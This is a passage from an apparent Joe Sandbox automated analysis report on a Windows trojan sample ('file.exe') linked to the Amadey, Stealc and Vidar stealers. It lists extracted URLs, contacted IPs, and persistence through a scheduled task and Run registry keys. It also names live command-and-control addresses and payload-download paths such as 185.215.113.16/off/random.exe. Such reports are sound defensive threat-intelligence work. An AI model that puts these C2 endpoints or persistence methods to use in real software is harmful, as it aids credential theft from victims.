http://185.215.113.16/Jo89Ku7d/index.phpncoded	axplong.exe, 00000006.00000003.3263828308.0000000001530000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001530000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/outcomes/items	firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 00000015.00000002.2880770582.0000025933926000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp	false		high
http://exslt.org/dates-and-times	firefox.exe, 00000015.00000002.2880770582.0000025933961000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/csvImport	firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	false		high
https://MD8.mozilla.org/1/m	firefox.exe, 00000015.00000003.2816546786.000002594064C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3049658732.000001EF1DF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 00000015.00000003.2831553568.00000259412F0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000015.00000002.2905873141.00000259389E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2909163190.0000025939126000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085467799.000001EF2EA7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.16/Jo89Ku7d/index.php1001	axplong.exe, 00000006.00000003.3263828308.00000000014F8000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.00000000014F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000015.00000002.2918105959.000002593A51A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A492000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com/	firefox.exe, 00000015.00000002.2911918698.0000025939696000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	firefox.exe, 00000015.00000002.2880770582.00000259339AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867917308.000002ADC16E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	firefox.exe, 00000015.00000002.2880770582.00000259339AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867917308.000002ADC16E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805259789.000002593FDE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7A12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C839000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/ows	axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001506000.00000004.00000020.00020000.00000000.sdmp	false	15%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 00000015.00000002.2964091165.0000370D2CF04000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/endDate	firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/policies/privacy/media.gmp-manager.cert.checkAttributesFailed	firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3125524996.000001EF35C43000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/lfons	axplong.exe, 00000006.00000003.3263828308.0000000001506000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3288889656.0000000001506000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867917308.000002ADC16E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 00000015.00000002.2964091165.0000370D2CF04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3121604934.000001EF35723000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/about	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
http://youtube.com/	firefox.exe, 00000015.00000002.2921089355.000002593A997000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.comhttps://support.mozilla.orgtestPermissionFromPrincipalbrowser.urlbar.sugg	firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 00000015.00000002.2917321112.000002593A471000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805571289.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2936356785.000002593FDA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2940088335.0000025940327000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	firefox.exe, 00000015.00000002.2915888122.000002593A28B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2936356785.000002593FDA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2940088335.0000025940327000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3113810141.000001EF3109E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/forceWaitHttpsRR	firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored	firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000015.00000002.2909716254.000002593924C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000015.00000002.2889978017.00000259358BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2882491080.0000025933F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2896388912.0000025938065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075845573.000001EF2D713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3076567128.000001EF2D803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3075456153.000001EF2D6AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000015.00000002.2940088335.00000259403A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2808209221.000002593A467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/preferences	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 00000015.00000003.2757162605.0000025937E60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.00000259358D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gpuweb.github.io/gpuweb/	firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3125524996.000001EF35C43000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 00000015.00000002.2884763162.0000025934427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3071091391.000001EF2CE92000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-07/schema#-	firefox.exe, 00000015.00000002.2944981005.0000025940656000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.wykop.pl/	firefox.exe, 00000015.00000002.2944148777.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2820604619.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805571289.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vk.com/	firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 00000015.00000002.2944148777.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2820604619.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/Z	firefox.exe, 00000015.00000002.2963524052.00002F41F0E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963405313.00002CE3A7F00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/h3Enabledhttp://mozilla.org/#/properties/h3GreaseEnabledchrome://glo	firefox.exe, 00000015.00000002.2917321112.000002593A481000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000015.00000002.2939307905.000002594022D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2789894282.000002594023C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3124908460.000001EF35B83000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/appId	firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/proposedDurationresource://gre/modules/TaskScheduler.sys.mjs	firefox.exe, 00000015.00000002.2917321112.000002593A475000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.78	youtube.com	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	prod.ads.prod.webservices.mozgcp.net	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554128
Start date and time:	2024-11-12 05:01:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	55
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@83/18@34/9
EGA Information:	Successful, ratio: 21.4%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 100.21.204.65, 54.200.234.149, 35.163.230.115
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 63371c25d6.exe, PID 1992 because there are no executed function
Execution Graph export aborted for target 63371c25d6.exe, PID 2460 because there are no executed function
Execution Graph export aborted for target 63371c25d6.exe, PID 5636 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 1216 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 6424 because there are no executed function
Execution Graph export aborted for target file.exe, PID 1288 because it is empty
Execution Graph export aborted for target firefox.exe, PID 1648 because it is empty
Execution Graph export aborted for target firefox.exe, PID 3184 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:02:04	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
05:03:07	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 63371c25d6.exe C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe
05:03:15	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b29e59e54d.exe C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe
05:03:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 63371c25d6.exe C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe
05:03:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b29e59e54d.exe C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe
23:03:01	API Interceptor	200164x Sleep call for process: axplong.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.188.166	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse
	g8mWOXwcID.exe	Get hash	malicious	Credential Flusher	Browse
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse
	l2rP5bxDPg.exe	Get hash	malicious	Credential Flusher	Browse
	2024_APY839284784.svg	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206/c4becf79229cb002.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/c4becf79229cb002.php
185.215.113.16	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
